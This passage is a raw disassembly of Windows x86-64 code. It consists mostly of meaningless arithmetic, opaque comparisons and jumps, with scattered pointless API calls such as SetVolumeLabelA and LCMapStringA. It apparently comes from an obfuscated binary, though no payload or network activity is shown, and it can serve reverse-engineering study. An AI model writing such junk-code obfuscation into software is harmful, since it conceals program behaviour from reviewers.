movzx ecx, byte [rsp + 0x1f6]
and eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
sub eax, ecx
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9000]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x8fa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
movabs rax, 0x5c18b5c8e7f036c9
mov rcx, qword [rsp + 0x9038]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov eax, dword [rsp + 0x4e28]
sub eax, 0x1c
mov dword [rsp + 0x4e28], eax
mov rax, qword [rsp + 0x8fe0]
mov rcx, qword [rsp + 0x8f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14025d750], ax
mov eax, dword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x4e18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1f7], al
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0xfbc]
shl eax, cl
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14a4], ax
mov eax, dword [0x14025c010]
mov ecx, dword [rsp + 0x4dec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8fc0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
cmp dword [rsp + 0x4e28], 0x1fac
ja 0x140059d1c
cmp dword [rsp + 0x4e00], 0x3c4
jb 0x14005a25f
movabs rax, 0x2a112642452155ed
mov rcx, qword [rsp + 0x9038]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e5c], eax
mov eax, dword [rsp + 0x4e8c]
mov ecx, dword [rsp + 0x4e20]
add ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1f6]
sub eax, ecx
mov byte [rsp + 0x1f8], al
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e8c]
movzx ecx, al
mov eax, dword [rsp + 0x4e30]
shl eax, cl
mov dword [rsp + 0x4e5c], eax
mov eax, dword [rsp + 0x4dec]
mov dword [rsp + 0x4e9c], eax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f8]
sar eax, cl
mov byte [0x14025c00c], al
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14a4], ax
mov eax, dword [rsp + 0x4e00]
sub eax, 0x43
mov dword [rsp + 0x4e00], eax
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0xfbc]
or eax, ecx
mov rcx, qword [rsp + 0x9040]
mov word [rcx], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
sub eax, ecx
mov word [rsp + 0x14a8], ax
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0x14a8]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov ecx, dword [0x14025c010]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e58], eax
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4e8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x8fc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
jmp 0x140059ffa
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0x14a8]
and eax, ecx
movsx ecx, word [0x14025d750]
mov rdx, qword [rsp + 0x9040]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jle 0x14005a2a6
lea rdx, [rsp + 0x8f98]
mov rcx, qword [rsp + 0x9078]
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov dword [rsp + 0x4e80], eax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
add eax, ecx
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
sub eax, ecx
movzx ecx, word [rsp + 0x14a4]
mov rdx, qword [rsp + 0x9030]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jl 0x14020e951
mov rax, qword [rsp + 0x9038]
mov qword [rsp + 0x9080], rax
movabs rax, 0xc36628ee5d0120f1
cmp qword [rsp + 0x9080], rax
je 0x14005a336
movabs rax, 0x320a7030efae916
cmp qword [rsp + 0x9080], rax
je 0x14020e8d2
jmp 0x14020e90d
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov dword [rsp + 0x4ea0], eax
cmp dword [rsp + 0x4ea0], 0x3c2d012b
je 0x14005a359
jmp 0x14005a3eb
movzx eax, byte [rsp + 0x1f7]
mov byte [rsp + 0x4ea4], al
cmp byte [rsp + 0x4ea4], 0x14
je 0x14005a374
jmp 0x14005a3d8
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
or eax, ecx
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
movzx eax, byte [0x14025c00c]
movzx ecx, byte [rsp + 0x1f8]
sar eax, cl
mov byte [rsp + 0x1f6], al
lea rdx, [rsp + 0x4e88]
mov rcx, qword [rsp + 0x9088]
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov dword [rsp + 0x4ea8], eax
jmp 0x14005a3e6
mov eax, dword [rsp + 0x4dec]
mov dword [rsp + 0x4e98], eax
jmp 0x14020e7de
lea rax, [0x14025c008]
mov qword [rsp + 0x9090], rax
movzx eax, word [rsp + 0xeb4]
mov dword [rsp + 0x4eac], eax
cmp dword [rsp + 0x4eac], 0
je 0x14005a418
jmp 0x14005a4a2
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov qword [rsp + 0x9098], rax
movabs rax, 0xb5d6ababbad5d780
cmp qword [rsp + 0x9098], rax
je 0x14005a490
movabs rax, 0xd240acefb76a6d48
cmp qword [rsp + 0x9098], rax
je 0x14005a455
jmp 0x14005a4a0
mov rcx, qword [rsp + 0x9020]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov dword [rsp + 0x4e70], eax
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
jmp 0x14005a4a0
mov rax, qword [rsp + 0x9038]
mov qword [rsp + 0x90a0], rax
jmp 0x14005a4fd
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
and eax, ecx
mov word [rsp + 0x14a4], ax
movzx eax, word [rsp + 0x14a4]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x8fb8]
movzx r9d, word [rax]
movzx r8d, byte [rsp + 0x1f7]
mov rax, qword [rsp + 0x9008]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9000]
movzx ecx, byte [rax]
call fcn.1402104a0
nop
lea rax, [rsp + 0x14a8]
mov qword [0x14025d758], rax
mov rax, qword [0x14025d758]
movzx eax, word [rax]
mov word [rsp + 0x14ac], ax
mov eax, dword [rsp + 0x4e9c]
mov ecx, dword [rsp + 0x4e88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov edx, dword [rsp + 0x4e98]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x14020e671
mov rax, qword [rsp + 0x90a0]
shl rax, 0x1f
cmp rax, qword [rsp + 0x9038]
jg 0x14005a583
mov rax, qword [rsp + 0x9040]
movzx r8d, word [rax]
mov rdx, qword [rsp + 0x8fc0]
mov rcx, qword [rsp + 0x9038]
call fcn.14020f290
nop
cmp dword [rsp + 0x4e10], 0xddd1
jbe 0x14005a96f
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14025d758]
mov word [rcx], ax
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0x14ac]
and eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
add eax, ecx
mov rcx, qword [rsp + 0x9000]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fe0]
mov ecx, dword [rsp + 0x4e98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9090]
mov ecx, dword [rsp + 0x4e18]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e5c], eax
movabs rax, 0x5dfa74a12d5dd46d
mov rcx, qword [rsp + 0x90a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14ac]
sub eax, ecx
mov word [0x14025d750], ax
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
sar eax, cl
mov word [rsp + 0x14a8], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1f7], al
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1f6]
or eax, ecx
mov byte [rsp + 0x1ac], al
movsx eax, word [rsp + 0xfbc]
mov rcx, qword [0x14025d758]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14a8], ax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov dword [rsp + 0x4e98], eax
mov rax, qword [rsp + 0x8fd0]
mov rcx, qword [rsp + 0x9090]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x14ac]
mov rcx, qword [0x14025d758]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14025d750], ax
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [0x14025c00c]
and eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfbc], ax
mov eax, dword [rsp + 0x4e10]
sub eax, 0x48
mov dword [rsp + 0x4e10], eax
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
sub eax, ecx
mov word [rsp + 0xeb4], ax
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x9090]
mov ecx, dword [rsp + 0x4e5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0x9038]
shl rax, 0xc
mov qword [rsp + 0x90a0], rax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x8f70]
mov rcx, qword [rsp + 0x8fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14025c010], eax
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9040]
mov word [rcx], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
add eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x8fd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
jmp 0x14005a583
lea rax, [rsp + 0x90a0]
mov qword [rsp + 0x90a8], rax
movsx eax, word [rsp + 0x14ac]
mov dword [rsp + 0x4eb0], eax
cmp dword [rsp + 0x4eb0], 0x63a3
je 0x14005a9a0
jmp 0x14005aaa9
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e9c], eax
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fa0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov rdx, qword [rsp + 0x8fc0]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jbe 0x14005aa85
movsx eax, word [rsp + 0x14ac]
mov dword [rsp + 0x4eb4], eax
cmp dword [rsp + 0x4eb4], 0x4a6a
je 0x14005aa66
cmp dword [rsp + 0x4eb4], 0x56c2
je 0x14005aa3c
jmp 0x14005aa83
mov rax, qword [rsp + 0x8fb8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x90a8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x8ff8]
movzx ecx, word [rax]
call fcn.140210960
nop
jmp 0x14005aa83
mov rdx, qword [rsp + 0x9068]
mov rcx, qword [rsp + 0x9070]
call qword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
mov dword [rsp + 0x4e70], eax
jmp 0x14005aaa7
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14025d758]
mov word [rcx], ax
jmp 0x14005aaeb
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0x90b0], rax
movzx eax, byte [0x14025c00c]
movzx ecx, byte [rsp + 0x1ac]
shl eax, cl
mov byte [rsp + 0x1f8], al
movsx eax, word [rsp + 0x14ac]
movsx ecx, word [rsp + 0xfbc]
or eax, ecx
mov word [rsp + 0x14a8], ax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8fc0]
mov rdx, qword [rsp + 0x8fa0]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14005ac79
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0x90b8], rax
mov rax, qword [rsp + 0x90b0]
movzx eax, byte [rax]
mov byte [rsp + 0x4eb8], al
cmp byte [rsp + 0x4eb8], 0
je 0x14005ab5e
cmp byte [rsp + 0x4eb8], 0x72
je 0x14005ab9b
jmp 0x14005ac79
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [0x14025c00c]
sub eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x90a0]
mov qword [rsp + 0x90c0], rax
lea rax, [rsp + 0x4ebc]
mov qword [rsp + 0x90c8], rax
jmp 0x14005ac79
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8fc0], rax
movzx eax, byte [rsp + 0x1f8]
mov byte [rsp + 0x4ec0], al
cmp byte [rsp + 0x4ec0], 0x65
je 0x14005ac61
cmp byte [rsp + 0x4ec0], 0xb4
je 0x14005abe8
jmp 0x14005ac79
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILIsEqual
lea rax, [rsp + 0x28490]
mov qword [rsp + 0x20], rax
mov r9d, SHSetInstanceExplorer
lea r8, str.certificates_Bipartite_bewilderment_slosh_carriage
mov edx, 0xc2
mov ecx, SHSetInstanceExplorer
call qword [sym.imp.KERNEL32.dll_LCMapStringA]
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0x14a4]
mov rax, qword [rsp + 0x9008]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x1f7]
mov rax, qword [rsp + 0x9008]
movzx ecx, byte [rax]
call fcn.1402104a0
nop
jmp 0x14005ac79
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4e30]
add ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
mov word [rsp + 0x14b0], ax
movzx eax, byte [rsp + 0x1f6]
mov byte [rsp + 0x4ec8], al
cmp byte [rsp + 0x4ec8], 0x6e
je 0x14005acaa
jmp 0x14005ada6
mov rax, qword [rsp + 0x90b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x90a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x90c0]
mov rdx, qword [rsp + 0x9038]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005ad35
mov rax, qword [rsp + 0x90c0]
movzx ecx, al
mov rax, qword [rsp + 0x9038]
sar rax, cl
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9090]
mov ecx, dword [rsp + 0x4e30]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
or eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
mov r9d, 0x82
lea r8, [rsp + 0x90b8]
mov rdx, qword [rsp + 0x90d0]
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ea8], eax
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8fa0]
shl rax, cl
mov qword [rsp + 0x8f60], rax
jmp 0x14020e57d
lea rax, [rsp + 0x4e18]
mov qword [0x14025d760], rax
movzx eax, word [rsp + 0x14b0]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0xeb4]
movzx edx, word [rsp + 0x14a4]
add ecx, edx
cmp eax, ecx
jg 0x14020e4a0
cmp dword [rsp + 0x4e24], 0x7e5c
jbe 0x14005afac
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14ac], ax
movzx eax, word [rsp + 0x14a4]
movzx ecx, word [rsp + 0x14b0]
shl eax, cl
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
mov rax, qword [rsp + 0x90c8]
mov ecx, dword [rsp + 0x4e88]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fa0]
mov rcx, qword [rsp + 0x8fc0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e24]
sub eax, 0x9a
mov dword [rsp + 0x4e24], eax
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14a8]
sub eax, ecx
mov rcx, qword [0x14025d758]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov dword [rsp + 0x4ec4], eax
movsx eax, word [0x14025d750]
movsx ecx, word [rsp + 0xfbc]
and eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x4e88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b0]
add eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x90a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x90c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ebc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dec], eax
jmp 0x14005ade4
cmp dword [rsp + 0x4e3c], 0x8441
ja 0x14005b53a
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
mov eax, dword [rsp + 0x4e8c]
mov ecx, dword [rsp + 0x4e5c]
and ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x90b0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1f7], al
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f8]
shl eax, cl
mov byte [rsp + 0x1ac], al
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14ac], ax
mov rax, qword [rsp + 0x90b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
or eax, ecx
mov rcx, qword [rsp + 0x9000]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1ac]
sub eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x9038]
mov rcx, qword [rsp + 0x90a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x8fa0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov ecx, dword [0x14025c010]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0x9090]
mov ecx, dword [rsp + 0x4e5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14025c008], eax
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
movzx eax, word [rsp + 0x14b0]
movzx ecx, word [rsp + 0xeb4]
add eax, ecx
mov word [rsp + 0x14a4], ax
movsx eax, word [rsp + 0x14ac]
movsx ecx, word [rsp + 0xfbc]
sub eax, ecx
mov rcx, qword [rsp + 0x9040]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
add eax, ecx
mov word [rsp + 0x14b0], ax
movzx eax, word [rsp + 0xeb4]
movzx ecx, word [rsp + 0x14a4]
add eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x90c0]
movzx ecx, al
mov rax, qword [rsp + 0x90a0]
shl rax, cl
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [0x14025c008]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fe0]
mov ecx, dword [rsp + 0x4e98]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14025c010], eax
mov eax, dword [rsp + 0x4e3c]
add eax, 0xbe
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x90b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1f7], al
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x90b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movzx eax, word [rsp + 0x14b0]
